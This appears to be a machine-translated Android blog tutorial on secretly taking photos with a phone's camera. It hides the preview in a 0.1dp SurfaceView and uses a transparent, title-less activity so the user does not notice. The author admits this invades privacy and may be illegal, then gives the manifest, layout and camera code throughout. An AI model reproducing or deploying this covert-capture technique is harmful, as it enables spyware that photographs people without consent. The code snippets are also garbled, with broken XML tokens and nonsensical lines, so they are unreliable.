I believe many people, like me, want to use the background Server to call the camera to take photos without the user's knowledge,
I have found a lot of information on the Internet. It is generally said that photos cannot be taken without previewing. It involves user privacy and is illegal to call the camera... what should I do !!!
Come on, And, don't play an effect with nothing.
Now... set the SurfaceView length and width to 0.1. Didn't you want to preview it? The problem is that the preview box is so small. If you still can see it, there is no way to do it...
<RelativeLayout xmlns: android = "http://schemas.android.com/apk/res/android" xmlns: tools = "http://schemas.android.com/tools" android: layout_width = "match_parent" android: layout_height = "match_parent" tools: context = ". myCamera "> <! -- In the preview box, the length and width are 0.1 --> <SurfaceView android: id = "@ + id/camera_surfaceview" android: layout_width = "0.1dp" android: layout_height = "0.1dp"> </SurfaceView> </RelativeLayout>
<? Xml version = "1.0" encoding = "UTF-8"?> <Manifest xmlns: android = "http://schemas.android.com/apk/res/android" package = "com. chenww. camera. ui "android: versionCode =" 1 "android: versionName =" 1.0 "> <uses-sdk android: minSdkVersion =" 10 "android: targetSdkVersion = "16"> </uses-sdk> <! -- Call camera permissions --> <uses-permission android: name = "android. permission. CAMERA "/> <uses-feature android: name =" android. hardware. camera "/> <uses-feature android: name =" android. hardware. camera. autofocus "/> <! -- Read and Write SD card permission --> <uses-permission android: name = "android. permission. WRITE_EXTERNAL_STORAGE "/> <application android: allowBackup =" true "android: icon =" @ drawable/ic_launcher "android: label =" @ string/app_name "android: theme = "@ style/AppTheme"> <! -- Activity --> <activity android: name = "com. chenww. camera. ui. CameraActivity" android: theme = "@ android: style/Theme. Translucent"> <! -- Theme is transparent --> <intent-filter> <action android: name = "android. intent. action. MAIN "/> <category android: name =" android. intent. category. LAUNCHER "/> </intent-filter> </activity> </application> </manifest>
Next is the CameraActivity. java file. here you have to add the following code at the beginning of oncreate to set the window to full screen without a title.
// No title requestWindowFeature (Window. FEATURE_NO_TITLE); // full screen getWindow (). setFlags (WindowManager. LayoutParams. FLAG_FULLSCREEN, WindowManager. LayoutParams. FLAG_FULLSCREEN );
Bind SurfaceView to initialize SurfaceHolder
// Initialize surfaceviewmySurfaceView = (SurfaceView) findViewById (R. id. camera_surfaceview); // initialize response = mySurfaceView. getHolder (); myHolder. setType (SurfaceHolder. Callback );
Next, initialize the Camera object and call the setPreviewDisplay function of the object to set the SurfaceHolder object (myHolder here)
// Here myCamera is the initialized Camera object myCamera. setPreviewDisplay (myHolder );
The next step is to take a photo, but remember
MyCamera. startPreview (); // autoFocus myCamera. autoFocus (myAutoFocus); // take a photo of myCamera. takePicture after focusing (null, null, myPicCallback );
The above myAutoFocus and myPicCallback Auto Focus callback functions and the success photo callback functions respectively
// Auto Focus callback function (empty implement) private AutoFocusCallback myAutoFocus = new AutoFocusCallback () {@ Overridepublic void onAutoFocus (boolean success, Camera camera ){}};
// Callback function private PictureCallback myPicCallback = new PictureCallback () {@ Overridepublic void onPictureTaken (byte [] data, Camera camera ){}}
After processing the data returned by Camera, remember to close the Activity and release various resources.
// Close ActivityMyCameraActivity. this. finish (); myCamera. stopPreview (); myCamera. release (); myCamera = null;
PS: Processing photos. As I mentioned in the previous blog, for example, pictures taken by android cameras are landscape pictures... how to make it straight or perform vertical preview: Click to open the link